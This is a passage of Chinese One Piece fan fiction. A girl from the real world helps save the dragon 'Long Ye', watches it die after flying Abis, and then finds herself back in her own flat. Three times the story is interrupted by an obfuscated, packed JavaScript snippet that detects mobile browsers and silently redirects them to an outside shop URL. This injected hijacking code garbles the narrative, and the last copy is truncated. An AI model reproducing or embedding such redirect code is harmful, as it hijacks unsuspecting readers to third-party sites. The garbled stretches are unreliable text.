但是这语速对有有来说还是过于快了,听得一知半解的有有半跪在板车上,轻轻挪开洒落在龙爷身上的碎石。 不少碎片隐藏在了毛发中,有有扒拉开略有些干涩的毛发,一点点摸索着。 “「……军舰岛……」” 熟悉的名词出现在耳边,有有的动作一顿。 自从透露出知道失落之岛的位置之后,有有就觉得有一柄随时都会落下的铡刀,而此时,正是行刑之刻。 即使背对着,有有也清楚地知道有数到视线朝自己看来。 “哒哒哒哒”的脚步声响起,频率极快但脚步声并不算重。 有有慢慢地移着身体,转身对上了一双不解而又难过的眼睛。 “「为什么……」”阿碧丝微微张嘴,面上的难过几乎要溢出来了。 为什么不能直接说,为什么要看着我们走了这么远的弯路…… 无数的疑问埋在心里,小小的女孩不知怎的,有了一种被背叛的感觉。 有有跪坐在板车上,直视着眼前的人,伸出手似乎想要去抚摸女孩的头顶,却不知为何,又收回了手。 “「对不起。」”有有将手撑在大腿上,用力地向下按着,裤子的布料不断刺激着手心还残留的伤痕,疼痛感不断反馈在大脑皮层。 “「但是,我保证。」”女孩的话说得还不甚熟练,但是听得出仔细练习的痕迹。 “「龙爷他,一定,能,再回到家。」”有有垂眸,深深地吐了口气,微笑着看向了阿碧丝。 娜美微妙地察觉出了一丝违和感,但没来得及仔细询问,就注意到身旁的索隆按住了刀柄。 一切就像有有所熟知的那样,艾力克出现在了上方。然后就又是毫无安全装置的过山车。 这次是真的过“山”车。 已经快散架的板车在山野间肆意地冲撞着,方向全靠地心引力,活着全靠运气。 习惯不了!习惯不了一点! 有有紧紧抓着龙爷的毛发,脸色又变得煞白。 对不起我知道抓头发很痛但是对不起!!! 疾冲而下的板车让人几乎飘在半空中,差点获得了和地面平行的成就,但是纯手动拉着的安全带还是太考验人的臂力了,板车冲到海岸线的瞬间,车上的所有人都一头栽进了水里。 “「哇,你这家伙居然没喊出声诶!」”路飞像是发现了新大陆一般,指着有有兴奋道。 混身湿透·害怕到发不出声·现在只想吐·腿软到站不起来的有有:“……” 这种家伙大概这辈子都不知道人在害怕到极致的时候是发不出声音的。 有有张口想要叹气,却在张嘴的一瞬间动作熟练地跑到旁边开始例行一呕。 “「什么啊,还是吐了啊……」”路飞面露遗憾。 那可真是抱歉了啊…… 破破烂烂的板车又被绑到了船的后面,有有一时不知道是该佩服乌索普的手艺还是该佩服这群人的运气,或者二者都有。 但是就今天的运气而言,索隆的运气一定是相当不好的。 有有眼疾手快地从口袋里掏出手机,在空中滑翔的索隆就这样被定格在了手机里。 心满意足地看了一眼手机,有有扯了扯身上的衣服,朝着娜美说道:“「我,去换衣服。」” 是什么战地记者吗?娜美有些好笑地看了一眼有有,摆了摆手:“「去吧去吧。」” —— 海军的追击比预想中来得更快,由铁链连接而成的海军舰队包围了梅利号,铺天盖地而来的炮弹丝毫不给人留一点喘息的空间。 娜美站在船舵前努力地操控着方向,有限的视野里路飞毫无紧张感地盘坐着腿。 “「赶紧给我解决炮弹啊!」” 可是此刻面临的威胁远不止炮弹,无法驶出包围圈才是现在最大的难题。 路飞、山治、索隆“跑”到敌舰上砍断锁链,梅利号上的战斗人员所剩无几。 可不远处展现出的几近碾压的局势看呆了阿碧丝,小女孩站在边上看得一脸震惊。 说来也非常合理,谁能想到这样不正常的一群人会这样厉害呢。 娜美远远看见锁链只剩下了一条,招呼着乌索普开始准备出发。 刚一迈进操舵室,娜美就察觉到了异样。 门,是打开的。 因为操舵室始终人来人往,自从那扇门在操舵室出现开始,她就不断提醒有有记得随手关门。 尤其小心某个好色厨子和某个笨蛋吃货。 可现在,房间的门大剌剌地敞开着,一眼望得到头的房间却不见那个女孩的身影。 有有呢? 娜美后知后觉地反应过来。 从什么时候开始没看见了? 自从遇见海军开始,船上就逐渐混乱了起来,在那之前,有有说着要回房换衣服。换完衣服呢?有出来过吗? 这可是大海上,她能去哪?难道船上有敌人? 娜美脸色逐渐难看了起来,可还没等娜美思考清楚,船身忽然剧烈地晃动了起来。 顺着混乱发生的方向,娜美冲到了甲板后方。 一艘小船就这样嚣张地停在了板车旁边,艾力克举着随时能发出风刃的手威胁着小小的女孩。 “「你要敢伤害小孩子的话,我是不会放过你的!」”娜美站在甲板上朝着艾力克喊道。 “「我是故意打歪的。」”艾力克敞开双手笑得得意,指甲尖得像是几百年没剪过的手缓缓伸向了阿碧丝的头顶。 小女孩有些发颤的双腿被裙子藏住,却还是一动不动的站在了龙的面前。 “「不会让你伤害龙爷的!」” 少年人的勇敢和无畏却未曾让人动摇分毫。艾力克嗤笑一声,丝毫不在意地想要抓住小女孩。 可就在这时,一道水流就这样滋向了艾力克悬在空中的手。 艾力克:“?” 阿碧丝:“?” 娜美、乌索普:“?” 一道浅绿色的身影从龙爷浅绿色的毛发中挪了出来。 娜美:“!” “「有有!你什么时候过去的!」” 听不懂听不懂。 有有理直气壮地没有理会娜美,举着一把形状怪异的水枪指着艾力克。 “「我说你,该不会以为一把破水枪就能阻止我吧?」”艾力克气极反笑,微小的风刃在指尖盘旋,“「看我不把你连人带枪给砍得稀碎!」” 听不懂听不懂。 有有这般告诉自己。 听不懂就别害怕。 小船离板车不过三四米的距离,连带着头发,身高几乎要到两米的男人就在不远处站着,更何况这个人还是实打实的战斗人员。 有有咽了口口水,略有些发软的腿站在起起伏伏地板车船上。 说实话,潜伏了那么久,早就想吐了,但是好像已经把能吐的都吐完了。有有苦中作乐般想到。龙爷虽然大,但是当整个人藏进去还是很闷的啊。更何况这个小板车的减震效果完全没有梅利号好啊,晕死人了都。 隐隐的风刃要划破空气,朝着有有而来。 “「姐姐小心!」” “「有有!」” 呼喊声此起彼伏,可此刻,有有像是连自己的名字都听不懂了一般。 “咔哒。” 食指扣下了扳机。 “「喂!那种东西怎么可能会对它有用啊!」”乌索普抓着栏杆惊恐道,“「他可是果实能力者啊!」” “「等一下!」”娜美忽然面露喜色,“「看龙爷后面!」” 一根水管在艾力克看不见的盲区伸进了大海,另一头连着的正是有有手中那架造型奇特的水枪。 “「!」” 接连不断的海水就这样朝着艾力克迎面扑去。狭窄的小船上无处可躲,就这样,果实能力者被海水淋了个满头。 有这样一种传说,大海创造了一切生命,而服用了恶魔果实的人会被大海厌恶,即使原本会游泳也会变成旱鸭子,在海里也会失去力气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978156|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖的风刃消散在空气中,艾力克瞬间感觉到一阵无力。但是…… “「你该不会以为这点海水就能打败我吧?」”艾力克只不过踉跄了一瞬间就有了重新站稳的趋势。 听不懂听不懂。 什么威胁我都听不懂。 有有想事先预演了无数次一般,从探身从拉着板车的麻绳扯出了一根不知何时被单独拆开的麻绳,反手就套在了阿碧丝的腰上。 “「拉上去!」”有有转眼看向了娜美,示意船上的两人赶紧把人给拉上气。 “「我不去!我要和龙爷在一起!」” 如果有有的日语足够流畅,那么有有会耐心地和眼前的小女孩说:“「只有保护好自己,才能更好地保护好龙爷。」”或者:“「我们要相信路飞他们,做好自己能做的事情,而不是仅凭着热血不思考后果。」” 但是这一切有有都说不来,紧迫的时间也来不及让人在翻译器里学会再说。 面对不断挣扎的小女孩,有有将捆着麻绳的小女孩往海水里一按。 很好,果实能力者,走你! 娜美:“……” 乌索普:“……” 面对没有挣扎的力气的小女孩,两人很快的将小女孩拖到了船上。 阿碧丝眼里噙着泪水,连麻绳都没来得及解开,就挪到了栏杆边,大眼睛直直盯着千年龙和有有。 “「怎么办怎么办!海水的效果好像已经过了!」”乌索普哆嗦着腿看着独自一人直面艾力克的女孩,“「娜美!怎么办!」” 怎么办?她也想问怎么办啊!娜美看着还远在另一艘船上的三人,捏着栏杆的手逐渐发紧,几乎要在掌心掐出痕迹。 “「你以为这样就能阻止我吗,没了她,我拿你做人质也是一样的。」”艾力克甩了甩手上沾着的海水,脸色格外阴沉。 都说了听不懂了。 有有扶着千年龙慢慢起身,就在艾力克抬手要挥出风刃的一瞬间,女孩突然将手中的水枪扔在了板车上,双手高高举起摆出了投降的姿态,不再刻意掩饰的发抖的双腿直观表明了女孩的害怕。 “「哦?没想到你还挺聪明,投降对你来说是个正确的选择。」”对手的示弱总是能让人感到心情愉悦,艾力克看着一步步向自己移动的女孩,毛笔似的头发好像都弹了一下。 “嗯嗯。” “「人质是你或者是那个小女孩都无所谓,但是为了虚幻的善良反抗我并不是什么聪明的决定。」” “嗯嗯。” “「那千年龙和你我都要带走了,你们可别怨我。」” “嗯嗯。” 肉眼可见的,艾力克的神色变得高傲了起来,似乎是被女孩温顺的态度给取悦了。 “「你说……」”乌索普看着眼前这一幕,神色变得有些微妙,“「有有她听懂了几句话?」” “「大概,一句都没听懂吧……」” 有有当然是一个字都没听懂,一连串叽里咕噜没意义的话冲进耳朵,然后在大脑皮层呲溜一下闪过,不曾留下一点痕迹。 停下的脚尖离艾力克的小船离艾力克不过一脚的距离,就在艾力克抬手的瞬间,有有一个踉跄,被脚下的木板绊到在了木板上,扑出去的双手撑到了艾力克的船上。 “「你这家伙……」”动作被有有三番五次打断,艾力克锐利的目光射向女孩,面色凶横。 “嘿嘿。”有有抬头,朝着艾力克灿烂一笑。 “?” 一根小巧的黑色的棍子贴上了艾力克脚下的一小滩海水,有有偏头,无辜地按下了开关。 电流顺着艾力克湿漉漉的裤腿不断攀升向上,酥麻的感觉让人双腿一软跪在了船上。 “「你……」” 话还没说出口,电击棒怼到了艾力克身上,还不忘加大功率。 艾力克眼前发黑,再反应过来时,整个人已经置身于海水里了。 “果实能力者到底怕什么样的水尾田都不一定理得清,要是把希望完全寄托在海水上我才是傻x。”有有握住手里的电击棒,笑得格外得意。 微微发电的黑色物体离小船上的水仅仅一公分,有有坐在板车上朝划船的两位海军笑得格外友好:“live or die? ” 11. 千年龙(完) “「那是什么!好帅!」”路飞远远看见有有的动作,眼睛几乎要冒金光,整个人摇摇晃晃的,几乎要一秒蹦到板车上。 “「不愧是有有小姐~」”山治放下心,举着双手挥舞,大声朝有有的方向呼喊。 索隆握住刀柄默默看着,眼中闪过一抹光。不知是欣赏还是松了一口气。 然而有有却并没有像几个人看到的那样轻松。 表现得再勇敢,有有也不过是一个在和平年代长大的、刚刚成年的小姑娘。在这个动辄打打杀杀的世界里,有有依仗的也不过是还没研究明白的金手指和一腔希望改变剧情的孤勇。 眼看小船上的海军划着桨离开,有有松了口气,强撑着的心忽然就落回了原处,几乎是瘫软在了千年龙身边。 有些干涩的毛发轻轻划过有有裸露在外的手臂,有有对上了一双硕大的眼睛。 “放心,你一定能在和伙伴们飞起来的。”有有放肆摸了一把龙爷,朝着龙爷扯出了一个大大的微笑。 有有想的很简单。 既然无法对着别人说出剧情,那就自己去干涉就好了。 如果说,因为阿碧丝被当成人质,龙爷为了保护阿碧丝而被炮击,那就让阿碧丝做不成人质。 那么没有受伤的龙爷就能留存起飞的力气,纵使龙爷的衰老不可逆,但如果自己这只小小的蝴蝶能刮起一阵风的话,那么就让龙爷乘着这阵风,飞向天空吧。 “「路飞!」”有有双手拢在嘴边,朝着船长的方向呼喊道,“「想要吗?」” 有有高举着水枪和电击棒,朝着少年心性的男孩循循善诱。 “「想要!!」”路飞一跃,站在了海军军舰的船头,丝毫不在意迎面而来的攻击,眼中满满都是对于新玩具的欢喜。 “「揍飞他们!」”有有叉腰,笑得格外灿烂,“「送给你!」” “「哦哦哦!」” 路飞像只猴子一样兴奋地嚎叫着,战斗的激情骤然攀升。 就该像这样,战斗的事情交给战斗人员去做。有有满意地看了一眼开始大闹特闹的路飞,在心里给自己点了个赞。 区区小孩子,拿捏。 然后,接下来…… 有有的目光转向了盘卧着的千年龙。 眼看着有有还没有上来的的打算,娜美站在甲板上焦急地朝着有有喊道:“「有有,快上来!」” “「等一会儿!」”有有头也不回,战斗还没结束呢,怎么就能这么上去。 娜美轻啧一声,有些头疼地看着伏掌舵到龙爷身边的女孩,朝着乌索普道:“「你看着有有,有危险记得提醒她,我去掌舵。」” “「诶?我吗?」”乌索普捂着脑袋面色惊恐。 “「我来!」”阿碧丝挣开绳索,作势就要爬到板车上。 “「你不行。」”娜美一把拉住了小女孩,“「如果你过去,那么有有做的事情都白费了。」” “「但是……」” “「没有但是。」”娜美扶着阿碧丝的肩膀,目光严肃,“「说实话,我不太理解有有一定要呆在龙爷身边,但是你还记得吗?有有在那座岛上和你说的。」” “「她说,她向你保证。」” “「就相信她吧,阿碧丝,身为伙伴,不就是要互相信任吗?」” 这话不仅仅是在说给阿碧丝听,娜美也像是在说服着自己。 娜美不自觉想到了远在可可西亚村的诺奇高。 这种心理或许并不合适,可娜美还是不自觉把自己放在了姐姐的位置上。 按有有所说,她所生活的世界海晏河清、四海承平,几乎不曾有战火纷飞的日子。18岁也不过是要去读书的年纪,听说马上还要去读“大学”。 这是娜美不曾听说过的词语。 她身上怀揣着秘密,似乎还不小。但她开朗、热情。也许是和平年代带给她的安定感,让她不羞于表达自己的情感,也从来不会吝于自己的笑脸。 但这也是一个一旦颠簸起来就容易大吐特吐的小姑娘。 似乎比自己还胆小,却又在这种时候自己偷偷摸摸藏到龙爷那,凭着一腔热血就直面果实能力者。 简直是一个矛盾综合体。 但就像刚刚说过的。 相信。 要相信有有。 “「我,我知道了。」”阿碧丝抹了把眼泪,乖巧地站在乌索普身边,“「我和乌索普一起,提醒姐姐。」” “「好孩子。」” —— 有有并不知道不远处的甲板上,娜美的心理活动已经跑到了可可西亚村。 女孩苦恼地看着龙爷,想说的话却因为语言障碍卡在大脑里无法表达。 不过是区区日语!我学还不行吗! 有有恨恨地想。 就目前看来,剧情并不是不能被改变的,阿碧丝可以被按在船上,龙爷暂时也没有被艾力克带走,早该来袭的炮弹也没有来。之前无法说出口龙穴的位置,似乎也只是为了让最终战场定在这片龙穴的海域上。 就像是代码的运行,不管运行得怎么样,只要按照规定的路径跑起来了就可以,结果无所谓。 有有:AI的刻板印象又加深了呢…… “到底要怎么样才能让你想起来啊!!”有有简直要求爷爷告奶奶,甚至双手大拇指交叠,做出了飞翔的小鸟的姿态在龙爷的眼睛划过。 “「真的……没问题吗?」”阿碧丝扯了扯乌索普的衣角。 “「大概……」” 铺天盖地的炮弹再一次袭来,还没平静多久的海面又掀起了浪花,有有一个没站稳,跌坐在了板车上,浅绿色的衣服被海水溅湿了大半,手中不伦不类的小鸟也消失了踪影。 站不稳,根本站不稳。 本就有些破破烂烂的板车在风浪的颠簸下更显渺小,几乎下一秒就要被大海吞噬。 有有死死抠住板车一角,生怕马上就要被颠到海里。 但是下一秒,打在身上的浪花突然消失了。 庞大的阴影慢慢投射了下来,有有呆愣地看向缓缓在板车上站起的龙爷。 “吼——”巨大的龙吟声响彻整个海域,过于刺激的音波声让所有人都忍不住捂住了耳朵。 居然真的喊出声了! 有有捂着耳朵,激动地看向天空。 即使知道千年龙的族群不可能这么快到来,但有有还是异常开心。 “「在呼唤?」”阿碧丝喃喃自语,可过于低的音量并没有传到身边的乌索普耳中。 还没来得及开心几秒,有有就看见了龙爷微微振动的翅膀。有有脸色一变,伸出一只手按住了龙爷的爪子。 人类的力量对于龙来说,不过是沧海一粟,龙爷垂眸,苍老的眼睛看着眼前这个渺小的、正值青春的人类。那双小小的手的力道不值一提,而跌倒时散开的手让龙爷意识到,脆弱的生命,在这样的状况面前是无力的。 阿碧丝是脆弱的,这个叫有有的女孩也是。 如果一切由他开始,那么也该由他结束。 “「看。」”即使看出龙爷有展翅的姿态,有有也不曾移开自己的手,“「看,阿碧丝。」” 甲板上的小女孩脸上挂满着欣喜,眼看龙爷的视线看了过来,阿碧丝几乎跳起来挥手。 “「龙爷!你能动了啊!」” “「相信她。」”有有朝着龙爷大喊道,“「相信我们!」” 路飞一跃到海军的主舰上,直指海军那坨面目狰狞的提督首领,海军主舰被路飞劈成了两半。 军舰之间的锁链早就被索隆砍了个遍,山治也不曾放过一个敌人。 梅利号稳稳地向缺口驶去,那是娜美领航的轨迹。 投来的炮弹在空中爆炸,乌索普扶着大炮松了口气,却在阿碧丝看过来的瞬间装出了一副一切尽在掌握的模样。 海平面忽然变暗,数以千计的阴影越来越近,直至这边而来。 “「龙爷他刚刚在呼喊他的同伴!」”阿碧丝兴奋地指着远方。 那群黑压压的影子逐渐清晰,千年龙一头接一头,在海面上空盘旋着。 陡然间地动山摇,深埋在海底的陆地缓缓上浮,梅利号连带着板车搁浅在岛屿边缘。 “「这就是龙穴!」”娜美看着变化的地势,一时间恍然大悟。千年龙其实并不是指他们的寿命,而是千年迁徙一次的习性,而这座岛便是他们迁徙的目的地。 每千年上浮一次的此刻,就是大批千年龙回家的日子。 “「去吧。」”而难得的脚踏实地之感让有有有了底气,女孩稳稳地站在了板车上,指着阿碧丝的方向,似乎在怂恿着什么。 硕大的瞳孔倒映着有有蹦蹦跳跳的身影,龙爷定了几秒,缓缓朝梅利号的船尾,低下了头。 “「龙爷?」”阿碧丝看着距自己只有一步之遥的龙爷,脸上充满疑惑。 忽然,一双伸长的手臂抱起了阿碧丝,将人放在了龙爷的头上。 不知何时回来的路飞脸上挂满了心满意足的笑:“「飞吧!」” “「诶?」” 巨大的翅膀缓缓扇动,随后越扇越快。翅膀带起的气流几乎让人睁不开眼睛。 这对忘年交,就这样升至了半空。 —— “「真好啊,我也想飞~」”路飞叉着腰,一脸羡慕地看着在半空中嘻嘻哈哈的阿碧丝,看样子下一秒就能把人拉下来自己坐上去。 “「决定了,我要跳到那个千年龙的背上去,和他一起飞!」”不过是思考了一秒,路飞就随手指了一头在高空的千年龙。脸上满是跃跃欲试。 “「你少发疯!」”娜美“咣”地一拳砸在了路飞头上,接着就马不停蹄地去接有有。 说好的水枪和电击棒到了路飞手里,总算是打消了路飞上天的念头。 山治看了一眼在半空中开心的阿碧丝,担忧道:“「但是,龙爷的情况真的可以吗?」” 索隆抱着剑站在一旁:“「现在能带着阿碧丝飞估计也是最后的力气了吧。」” “「但是龙爷肯定很想这样,和阿碧丝一起玩一次吧。」”路飞摆弄着水枪,语气不见一丝伤心,“「毕竟,龙爷说,和阿碧丝一起的这一年是最开心的。」” “「我说你听得懂龙爷的话吗?」” “「直觉直觉。」” “「有有小姐~没事吧!」”山治又晃到了有有身边,语气荡漾,“「你刚才的样子实在是太帅了~」” 娜美没好气地将人推远,嫌弃道:“「都说了有有听不懂,你离她远点。」” “「护短的娜美小姐也好可爱~」” 索隆看着从刚刚就一直一言不发,盯着半空的女孩,声音低沉:“「怎么了?」” “「阿碧丝,开心吗?」” 听到耳边传来的询问,有有也没有低头,只是望着天空开口道。 “「开心的吧?她不是在笑吗?」”索隆顺着有有的视线看过去,有些不解女孩的询问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978157|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗?”有有自言自语,“她还那么小,就要接受龙爷的离开吗?即使现状改变了,生死难道就一定是无法改变的吗?” “「你在自言自语些什么呢?」”索隆有些烦躁地揉了揉头发,直白道,“「那你开心吗?」” “啊?”有有被这句询问惊得回过了头。 “「虽然那个白痴总是发花痴,但是他刚刚说得没错,如果不是你,阿碧丝就会被那个人抓去当人质,按龙爷刚刚的样子,大概是会替阿碧丝挡炮弹吧。」” “「如果受了伤,别说飞起来,阿碧丝现在看见的大概就是龙爷的尸体,更不可能这样笑。」” “「所以别在那里一副你好像什么都没帮到的样子,你已经做得很不错了。」” 劈头盖脸的一大段话砸了有有一个蒙圈,有有只觉得一些似懂非懂的词语从左耳朵进,然后从右耳朵又出去了。女孩呆滞地看着索隆,小心翼翼地开口:“「pardon?」” “……”索隆一脸不可置信地看着眼前满脸无辜的女孩,咬紧了后槽牙,甚至觉得自己的刀都有些蠢蠢欲动。 “「白痴。」”少年剑客冷冷地吐出了两个字。 “「!」”这下换有有不可置信地看着索隆了,“「为什么!!!」”她哪白痴了?? 一句话都没错过的娜美捂着肚子笑了起来,笑着笑着还擦了擦眼角的泪,贼兮兮地凑到乌索普耳边,用所有人都听得见的音量说道:“「你已经做得很不错了~」” “「pardon~」”乌索普更是不甘示弱,模仿起了有有的一脸无辜。 一道冷冽的光闪过,微微出鞘的和道一文字霸道地止住了所有人的声音。 虽然不知道具体发生了什么,但是敏锐地感觉自己被嘲笑了的有有站在了索隆边上默默地鼓起了掌。 索隆:“……”这微妙的无力感。 越飞越低的龙爷止住了这场闹剧,他小心翼翼地降落在了一处宽敞的地方,脖子就这样慢慢贴到了地面,留恋地蹭了蹭从自己身上滑下的小女孩,然后,闭上了眼睛。 “「一路走好,龙爷。」”阿碧丝埋在龙爷的脖子里,低声说道。 “「龙爷他说,让我不要伤心,他会在这儿死去,也会在这里得到新生。」”听到后面传来的脚步声,阿碧丝哽咽着开口,“「我要在这里保护他们,保护千年龙,我要足够强大,不会再让人觊觎龙爷他们了。」” “「你一定可以的。」” “「谢谢你们,路飞、娜美、乌索普、山治、索隆,还有奇怪的姐姐。」” 有有:“……”这个前缀什么时候可以去掉。 “「不过话说回来,你为什么喊有有姐姐却不喊我姐姐啊。」”娜美揽着有有百思不得其解,“「怎么看我都更像姐姐吧。」” 阿碧丝擦干眼泪,笑着开口:“「秘密。」” “「那好!」”路飞拿着刚灌满水的水枪,颇有仪式感地朝天开了一枪,零散的水珠溅满了在场所有人。 “「那等我们回来的时候,你一定要好好给我们介绍你的新朋友们。」”赶在所有人发火之前,路飞笑嘻嘻地蹦上了船,“「快点,我们要开启新的冒险啦!」” 新的冒险当然不是想开启就开启的,骤然放松下来,有有才发觉自己已经浑身酸痛,又饿又累,下一秒就能瘫在床上睡着了。 “「娜美,我想睡觉了……」”有有打了个哈欠,可怜兮兮地说道。 靠谱的航海士小姐叹了口气,摆了摆手:“「那你去睡吧,今天擅自行动的账明天再和你算。」” “……”听不懂听不懂 有有目光游移,心虚地吹着口哨就往房间里面钻。 娜美:“……” “「那我把晚饭留好,有有小姐你饿了就可以直接吃哟~」” “「谢谢!!」” “「有有不吃饭嘛,那就给我吃吧!」” “「要吃!」” 娜美:……这就能听懂了是吧。 “「你还不把那个东西给有有吗?」”索隆也打了个哈欠,他戳了戳身边一只手始终塞在包里的乌索普,“「今天再不给她,就要到明天了。」” “「明天就明天,乌索普大人刚好要完善一下,不然就这么送出去实在有损我的手艺。」”乌索普匆忙瞥了一眼有有,看着对方没有察觉才嘴硬道。 “「不至于,按照那个笨蛋的性格,你老实跟人说一句对不起就可以了,说不准她现在都忘记了山洞里的事情。」” “「谁说那个是道歉的东西了!我只是手边刚好有材料,就做了一个!!」” “「……行吧。」”反正做板车的时候一直磨磨蹭蹭找材料的人又不是他。 操舵室的打打闹闹声某种意义上来说反而更能催人入睡,有有换了身干净衣服窝在床上,就这样伴着外面的声音安然进入了梦乡。 然后,有有就被自己饿醒了。 “不是说好睡着了就不觉得饿了吗!骗人!”有有绝望地听着自己的肚子咕咕作响,捞起床头柜的手机看了一眼。 03:15 有有:…… 彳亍口巴。 一觉睡了一下午加半晚上,她不饿谁饿。 有有认命地起身,穿上了失而复得的小鳄鱼。 “不过,话说今天山治做了什么饭嘞,嘿嘿嘿。”美食的香气似乎就要钻进鼻子,有有迫不及待地按下了门把手。 熟悉的客厅和沙发映入眼帘,有有呆在了原地。 12. 现实 凌晨四点,未眠的不止海棠花,还有江有有。 无论是开开关关多少次,房门的轴承看上去都快承受不住,但依旧无法改变门外就是客厅的事实。 两天都没有光顾过的客厅还保持着记忆中的样子,离开的时间太短,地面上都没来得及沉积灰尘。有有倒在沙发上,眼睛一眨不眨地望着前方发呆。 这是个什么情况,怎么就回来了。 我承认睡觉之前敷衍娜美的话和山治留饭很像死亡前的flag,但我这不是还没死吗! 怎么去那边不打个招呼,回来也不打个招呼,这么突然真的没关系吗! 有有翻了个身,略有些年头的天花板映入视野,过于安静的环境让人忍不住蜷起了身子。 “早知道,就不睡觉了……”有有喃喃自语道。 —— “「有有小姐!你在哪!」” 山治撕心裂肺的喊叫声响彻了整个梅利号,几乎所有人都被这道声音惊醒。 娜美揉着眼睛出了门,心情烦躁地瞪着一大早就开始发疯的山治:“「你喊什么呢!」” 睡眠不足的索隆更是直接,握着手中的三把刀目光沉沉:“「三刀流——」” “「有有不在房间吗?」”乌索普打着哈欠站在甲板上看着着急忙慌的山治,“「你喊她她不就出来了?」” “「不在!」”山治握着扶手,连烟都没来得及叼,脸色阴沉,“「有有小姐不在,连房间也没了。」” “「什么?」”瞌睡被完全吓跑,娜美三步并作两步跑到操舵室。 出现过两天的房门像是做梦一般,没有在墙壁上留下一丝痕迹,娜美双手按在墙壁上,企图找出一丝缝隙却一无所获。 “「你是什么时候发现的?」”索隆站在一旁,手臂搭在腰间的刀上不断摩挲着手指,难得没有和山治斗嘴。 “「就是早上起来做饭的时候,我一进厨房就发现墙上的门没有了,到处找了一圈也没有看见有有小姐的踪迹。昨天留在冰箱的饭菜倒是被人吃完了。」”山治靠在门板上神色阴沉,“「具体的时间我也不清楚。」” 索隆:“「那就是说房间是昨晚上就消失了吗?」” “「那可不一定。」”娜美转过身,拳头渐渐握紧,“「昨天晚上守夜的人是谁?」” 山治动作一顿:“「是路飞,我怕捕兽夹伤到有有小姐,就没放,但是我昨天晚上做了一桌子料理……」” “「索隆,把路飞给我拎过来!!」” 本该在守夜的船长抱着水枪倒在瞭望台呼呼大睡,时不时脸还要蹭一下怀里的水枪,那叫一个满足。 娜美缓缓蹲下,凑到躺在甲板上的路飞耳边,语气轻柔“「路飞,昨晚上冰箱的料理好吃吗?」” “「料理!超级好吃!」”像是设定了关键词开机的程序,路飞原地蹦了起来,眼睛还没睁开就把嘴巴张开了,“「山治!我要吃饭!」” —— “奶奶我跟你讲,山治做饭真的特别好吃,难怪路飞要硬拉着山治上船。”有有坐在带着滑轮的小椅子上,搭在地上的双腿不时放直又曲起,轮子在木地板上发出“咕噜咕噜”的声音,成了房间里为数不多的声音。 “而且而且,那个世界真的是太高危了,我连过山车都不敢坐,结果到了那边,没有安全带都能到处冲。你敢信那就是个木头板车。” “现在想想,那车可真结实啊,乌索普的手艺还是很牛的,虽然好多事情都已经超出科学范畴了,但是仔细一想,穿越本身就是相当不科学的事情吧。” “还有龙,真的龙!虽然和我们了解的不太一样,但是没准以后能看见凯多嘞!” 有有玩心大起,手舞足蹈地说着自己跌宕起伏的经历。而墙上挂着的两张黑白照片就这样微笑着,安安静静地听着这不可思议的经历。 —— “「所以说你昨天晚上来厨房偷吃的时候,有有的房间到底还在不在啊!」”娜美头疼地看着路飞,期望得到一点新的消息。 “「我不记得嘛!偷吃的时候不开灯不是常识吗!」”路飞抱着满头的包欲哭无泪,却也不忘正名,“「但是昨天晚上,肯定没有敌人过来,我在好好站岗!」” “「你的好好站岗就是我们丢了一个伙伴结果现在一问三不知吗!」”娜美一把夺过路飞藏着的水枪,“「这个没收!等找到有有再给你!」” “「诶~~不要嘛!」”路飞撅着嘴,脸上满是不情愿,“「那个是有有给我的礼物诶~」” 娜美:“「你还好意思说!」” “「嘛,反正我也有礼物。」”索隆想起还放在床上的颈枕,眉梢微扬,目光转向一边,“「是谁没有礼物来着?」” “「我知道我知道!」”路飞举起手,“「山治和乌索普没有!」” “「可恶!!」”山治眼睛含着泪水,“「我在有有小姐心中原来是和乌索普一个级别的吗!」” “「我乌索普大人可是有八千名部下的!」”乌索普像是才反应过来,急急忙忙反驳道。 山治一副灵魂出走的模样:“「我又没有像乌索普那样惹有有小姐生气,为什么有有小姐不和我告别……」” 突然被戳到的乌索普:“……” 背包里的东西存在感忽然飙升,乌索普有些不自然地嘴硬道:“「这和乌索普大人有什么关系……」” “「有有大概是突然回家了吧,就像她突然到我们的船上。」”眼看要水枪无果的路飞呈“大”字型摊在地上,语气并不像其他人那样焦急,“「她肯定还会再回来的啦,毕竟她自己都说了,她很喜欢我们啊!」” “「你怎么知道?」” “「直觉啦直觉。」”路飞双手枕在脑后,呲着大牙笑得开心,“「毕竟,她那么喜欢我们,怎么会不告而别呢,多半是自己也没料到啦。」” —— “哎,怎么能走的这么突然呢。”有有拉开冰箱几乎要把头埋在冷藏柜里,“起码提前给个提示啊,什么信都没留下来,就这么突然消失,不告而别什么的,最烦了。” “而且,而且,我还没给山治和乌索普留礼物呢。”有有从冰箱拿出了一颗快蔫了的白菜,“山治啊山治,我不想自己做饭啊!” 由奢入俭难,吃了一天半山治做的饭,再轮到自己开火总有种哪哪都不对劲的感觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 